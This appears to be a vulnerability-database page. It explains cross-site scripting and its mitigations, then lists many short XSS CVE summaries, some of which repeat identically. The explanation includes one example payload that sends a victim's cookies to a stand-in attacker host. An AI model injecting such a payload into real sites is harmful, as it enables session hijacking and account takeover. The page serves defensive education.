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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (39320)

EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

LimeSurvey version 3.15.5 contains a Cross-site scripting (XSS) vulnerability in Survey Resource zip upload, resulting in Javascript code execution against LimeSurvey administrators. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS RCE Limesurvey
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Cross-site scripting (XSS) vulnerability in Jenzabar v8.2.1 through 9.2.0 allows remote attackers to inject arbitrary web script or HTML via the query parameter (aka the Search Field). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Jenzabar
NVD
EPSS 2% CVSS 6.1
MEDIUM This Month

Zoho ManageEngine OpManager 12.3 before build 123239 allows XSS in the Notes column of the Alarms section. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Zoho XSS Manageengine Opmanager
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

Chamilo LMS version 1.11.8 contains XSS in main/social/group_view.php in the social groups tool, allowing authenticated users to affect other users, under specific conditions of permissions granted. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS PHP Chamilo Lms
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

Chamilo LMS version 1.11.8 contains XSS in main/template/default/admin/gradebook_list.tpl in the gradebook dependencies tool, allowing authenticated users to affect other users, under specific. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Chamilo Lms
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The Mondula Multi Step Form plugin before 1.2.8 for WordPress has multiple stored XSS via wp-admin/admin-ajax.php. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS PHP +1
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A Reflected Cross Site Scripting (XSS) Vulnerability was discovered in Adrenalin 5.4 HRMS Software. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Human Resource Management Software
NVD
EPSS 1% CVSS 4.8
MEDIUM This Month

Multiple stored cross-site scripting (XSS) vulnerabilities in the Management Console of BlackBerry UEM versions earlier than 12.9.1 could allow an attacker to store script commands that could later. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Unified Endpoint Manager
NVD
EPSS 1% CVSS 4.8
MEDIUM This Month

A stored cross-site scripting (XSS) vulnerability in the Management Console of BlackBerry UEM versions earlier than 12.10.0 could allow an attacker to store script commands that could later be. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Unified Endpoint Manager
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

PHP cebe markdown parser version 1.2.0 and earlier contains a Cross Site Scripting (XSS) vulnerability in all distributed parsers allowing a malicious crafted script to be executed that can result in. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Markdown
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

PHPipam version 1.3.2 and earlier contains a CWE-79 vulnerability in /app/admin/users/print-user.php that can result in Execute code in the victims browser. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS PHP Phpipam
NVD GitHub
EPSS 2% CVSS 6.1
MEDIUM POC PATCH This Month

WeBid version up to current version 1.2.2 contains a Cross Site Scripting (XSS) vulnerability in user_login.php, register.php that can result in Javascript execution in the user's browser, injection. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS PHP Webid
NVD GitHub
EPSS 1% CVSS 4.7
MEDIUM POC This Month

phpipam version 1.3.2 and earlier contains a Cross Site Scripting (XSS) vulnerability in The value of the phpipamredirect cookie is copied into an HTML tag on the login page encapsulated in single. Rated medium severity (CVSS 4.7), this vulnerability is remotely exploitable, no authentication required. Public exploit code available and no vendor patch available.

XSS RCE Phpipam
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM POC This Month

DomainMOD version 4.09.03 and above. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Domainmod
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

easymon version 1.4 and earlier contains a Cross Site Scripting (XSS) vulnerability in Endpoint where monitoring is mounted that can result in Reflected XSS that affects Firefox. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

Mozilla XSS Easymon
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

Wampserver version prior to version 3.1.5 contains a Cross Site Scripting (XSS) vulnerability in index.php localhost page that can result in very low. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS PHP Wampserver
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

FreshDNS version 1.0.3 and prior contains a Cross Site Scripting (XSS) vulnerability in Account data form; Zone editor that can result in Execution of attacker's JavaScript code in victim's session. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Freshdns
NVD GitHub
EPSS 2% CVSS 6.1
MEDIUM PATCH This Month

FatFreeCRM version <=0.14.1, >=0.15.0 <=0.15.1, >=0.16.0 <=0.16.3, >=0.17.0 <=0.17.2, ==0.18.0 contains a Cross Site Scripting (XSS) vulnerability in commit 6d60bc8ed010c4eda05d6645c64849f415f68d65. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Fatfreecrm
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

Zend.To version Prior to 5.15-1 contains a Cross Site Scripting (XSS) vulnerability in The verify.php page that can result in An attacker could execute arbitrary Javascript code in the context of the. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS PHP Zendto
NVD
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

Microweber version <= 1.0.7 contains a Cross Site Scripting (XSS) vulnerability in Admin login form template that can result in Execution of JavaScript code. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Microweber
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Grafana version confirmed for 5.2.4 and 5.3.0 contains a Cross Site Scripting (XSS) vulnerability in Influxdb and Graphite query editor that can result in Running arbitrary js code in victims. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

Grafana XSS
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM This Month

Backdrop CMS version 1.11.0 and earlier contains a Cross Site Scripting (XSS) vulnerability in Sanitization of custom class names used on blocks and layouts. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Backdrop Cms
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

A stored cross-site scripting (XSS) vulnerability in the web administration user interface of Pulse Secure Virtual Traffic Manager may allow a remote authenticated attacker to inject web script or. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Information Disclosure Ivanti +1
NVD
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

An XSS issue was discovered in Steve Pallen Xain before 0.6.2 via the order parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Xain
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM POC This Month

Statamic 2.10.3 allows XSS via First Name or Last Name to the /users URI in an 'Add new user' request. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Statamic
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM POC This Month

CMS Made Simple 2.2.8 allows XSS via an uploaded SVG document, a related issue to CVE-2017-16798. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Cms Made Simple
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM This Month

Zurmo 3.2.4 allows HTML Injection via an admin's use of HTML in the report section, a related issue to CVE-2018-19506. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Zurmo
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM POC This Month

CMSimple 4.7.5 has XSS via an admin's upload of an SVG file at a ?userfiles&subdir=userfiles/images/flags/ URI. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Cmsimple
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM POC This Month

CMSimple 4.7.5 has XSS via an admin's use of a ?file=config&action=array URI. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Cmsimple
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM POC This Month

Zurmo 3.2.4 has XSS via an admin's use of the name parameter in the reports section, aka the app/index.php/reports/default/details?id=1 URI. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Zurmo
NVD GitHub
EPSS 3% CVSS 6.1
MEDIUM PATCH This Month

The message-page.jsp error page used the value of the HTTP request header X-ProxyContextPath without sanitization, resulting in a reflected XSS attack. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Apache Nifi
NVD
EPSS 3% CVSS 6.5
MEDIUM PATCH This Month

The X-Frame-Options headers were applied inconsistently on some HTTP responses, resulting in duplicate or missing security headers. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Apache Nifi
NVD
EPSS 3% CVSS 6.1
MEDIUM POC PATCH This Month

Bolt CMS <3.6.2 allows XSS via text input click preview button as demonstrated by the Title field of a Configured and New Entry. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Bolt Cms
NVD GitHub Exploit-DB
EPSS 2% CVSS 6.1
MEDIUM POC This Month

Artica Integria IMS 5.0.83 has XSS via the search_string parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Integria Ims
NVD Exploit-DB
EPSS 1% CVSS 5.4
MEDIUM This Month

IBM Security Guardium 10 and 10.5 is vulnerable to cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS IBM Security Guardium
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

IBM Security Guardium 10.0 and 10.5 is vulnerable to cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS IBM Security Guardium
NVD
EPSS 2% CVSS 6.1
MEDIUM POC This Month

An issue was discovered in Nagios XI before 5.5.8. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Nagios Xi
NVD
EPSS 2% CVSS 6.1
MEDIUM POC This Month

An issue was discovered in Nagios XI before 5.5.8. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Nagios Xi
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Cross Site Scripting exists in InfoVista VistaPortal SE Version 5.1 (build 51029). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Vistaportal
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Cross Site Scripting exists in InfoVista VistaPortal SE Version 5.1 (build 51029). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Vistaportal
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Cross Site Scripting exists in InfoVista VistaPortal SE Version 5.1 (build 51029). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Vistaportal
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Cross Site Scripting exists in InfoVista VistaPortal SE Version 5.1 (build 51029). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Vistaportal
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Cross Site Scripting exists in InfoVista VistaPortal SE Version 5.1 (build 51029). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Vistaportal
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Cross Site Scripting exists in InfoVista VistaPortal SE Version 5.1 (build 51029). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Vistaportal
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Cross Site Scripting exists in InfoVista VistaPortal SE Version 5.1 (build 51029). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Vistaportal
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Cross Site Scripting exists in InfoVista VistaPortal SE Version 5.1 (build 51029). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Vistaportal
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Cross Site Scripting exists in InfoVista VistaPortal SE Version 5.1 (build 51029). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Vistaportal
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Cross Site Scripting exists in InfoVista VistaPortal SE Version 5.1 (build 51029). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Vistaportal
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Cross Site Scripting exists in InfoVista VistaPortal SE Version 5.1 (build 51029). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Vistaportal
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Cross Site Scripting exists in InfoVista VistaPortal SE Version 5.1 (build 51029). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Vistaportal
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Cross Site Scripting exists in InfoVista VistaPortal SE Version 5.1 (build 51029). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Vistaportal
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Cross Site Scripting exists in InfoVista VistaPortal SE Version 5.1 (build 51029). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Vistaportal
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Cross Site Scripting exists in InfoVista VistaPortal SE Version 5.1 (build 51029). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Vistaportal
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Cross Site Scripting exists in InfoVista VistaPortal SE Version 5.1 (build 51029). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Vistaportal
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Cross Site Scripting exists in InfoVista VistaPortal SE Version 5.1 (build 51029). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Vistaportal
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Cross Site Scripting exists in InfoVista VistaPortal SE Version 5.1 (build 51029). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Vistaportal
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Cross Site Scripting exists in InfoVista VistaPortal SE Version 5.1 (build 51029). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Vistaportal
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Cross Site Scripting exists in InfoVista VistaPortal SE Version 5.1 (build 51029). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Vistaportal
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Cross Site Scripting exists in InfoVista VistaPortal SE Version 5.1 (build 51029). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Vistaportal
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Cross Site Scripting exists in InfoVista VistaPortal SE Version 5.1 (build 51029). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Vistaportal
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Cross Site Scripting exists in InfoVista VistaPortal SE Version 5.1 (build 51029). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Vistaportal
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Cross Site Scripting exists in InfoVista VistaPortal SE Version 5.1 (build 51029). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Vistaportal
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Cross Site Scripting exists in InfoVista VistaPortal SE Version 5.1 (build 51029). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Vistaportal
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

XSS exists in InfoVista VistaPortal SE Version 5.1 (build 51029). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Vistaportal
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

Icinga Web 2 has XSS via the /icingaweb2/monitoring/list/services dir parameter, the /icingaweb2/user/list query string, the /icingaweb2/monitoring/timeline query string, or the /icingaweb2/setup. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Icinga Web 2
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

Icinga Web 2 before 2.6.2 has XSS via the /icingaweb2/navigation/add icon parameter. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Icinga Web 2
NVD
EPSS 3% CVSS 5.4
MEDIUM POC This Month

Nagios Core 4.4.2 has XSS via the alert summary reports of plugin results, as demonstrated by a SCRIPT element delivered by a modified check_load plugin to NRPE. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Nagios Core Debian Linux
NVD
EPSS 2% CVSS 5.4
MEDIUM This Month

In WordPress before 4.9.9 and 5.x before 5.0.1, contributors could modify new comments made by users with greater privileges, possibly causing XSS. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Debian Linux
NVD
EPSS 5% CVSS 6.1
MEDIUM PATCH This Month

In WordPress before 4.9.9 and 5.x before 5.0.1, crafted URLs could trigger XSS for certain use cases involving plugins. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Debian Linux
NVD GitHub
EPSS 3% CVSS 5.4
MEDIUM PATCH This Month

In WordPress before 4.9.9 and 5.x before 5.0.1, when the Apache HTTP Server is used, authors could upload crafted files that bypass intended MIME type restrictions, leading to XSS, as demonstrated by. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Apache +1
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

IBM Business Automation Workflow 18.0.0.0 and 18.0.0.1 is vulnerable to cross-site scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS IBM Business Automation Workflow +2
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

Pixar's Tractor software, versions 2.2 and earlier, contain a stored cross-site scripting vulnerability in the field that allows a user to add a note to an existing node. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Tractor
NVD
EPSS 20% CVSS 6.1
MEDIUM POC THREAT This Month

XSS exists in the Administration Console in Oracle Secure Global Desktop 4.4 20080807152602 (but was fixed in later versions including 5.4). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

Oracle XSS Secure Global Desktop
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

PHP Scripts Mall Entrepreneur B2B Script 3.0.6 allows Stored XSS via Account Settings fields such as FirstName and LastName, a similar issue to CVE-2018-14541. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Entrepreneur B2B Script
NVD
EPSS 1% CVSS 4.8
MEDIUM POC This Month

XSS exists in FUEL CMS 1.4.3 via the Page title, Meta description, or Meta keywords during page data management, as demonstrated by the pages/edit/1?lang=english URI. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Fuel Cms
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM POC This Month

XSS exists in FUEL CMS 1.4.3 via the Header or Body in the Layout Variables during new-page creation, as demonstrated by the pages/edit/1?lang=english URI. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Fuel Cms
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

IBM Security Guardium 10 and 10.5 is vulnerable to cross-site scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS IBM Security Guardium
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

IBM Security Access Manager Appliance 9.0.1.0, 9.0.2.0, 9.0.3.0, 9.0.4.0, and 9.0.5.0 for Enterprise Single-Sign On is vulnerable to cross-site scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS IBM Security Access Manager
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

IBM Security Access Manager Appliance 9.0.1.0, 9.0.2.0, 9.0.3.0, 9.0.4.0, and 9.0.5.0 could allow a remote attacker to hijack the clicking action of the victim. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS IBM Security Access Manager
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

IBM Security Access Manager Appliance 9.0.1.0, 9.0.2.0, 9.0.3.0, 9.0.4.0, and 9.0.5.0 is vulnerable to cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS IBM Security Access Manager
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

IBM DataPower Gateway 7.6.0.0 through 7.6.0.10, 7.5.2.0 through 7.5.2.17, 7.5.1.0 through 7.5.1.17, 7.5.0.0 through 7.5.0.18, and 7.7.0.0 through 7.7.1.3 is vulnerable to cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS IBM Datapower Gateway
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

A vulnerability has been identified in SCALANCE S602 (All versions < V4.0.1.1), SCALANCE S612 (All versions < V4.0.1.1), SCALANCE S623 (All versions < V4.0.1.1), SCALANCE S627-2M (All versions <. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Siemens Scalance S602 Firmware +3
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

IBM Security Access Manager Appliance 9.0.1.0, 9.0.2.0, 9.0.3.0, 9.0.4.0, and 9.0.5.0 is vulnerable to cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS IBM Security Access Manager
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The codection "Import users from CSV with meta" plugin before 1.12.1 for WordPress allows XSS via the value of a cell. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Import Users From Csv With Meta
NVD
EPSS 1% CVSS 5.3
MEDIUM This Month

IBM BigFix Platform 9.2.0 through 9.2.14 and 9.5 through 9.5.9 does not set the 'HttpOnly' attribute on authorization tokens or session cookies. Rated medium severity (CVSS 5.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Session Fixation XSS IBM +1
NVD
EPSS 1% CVSS 4.7
MEDIUM This Month

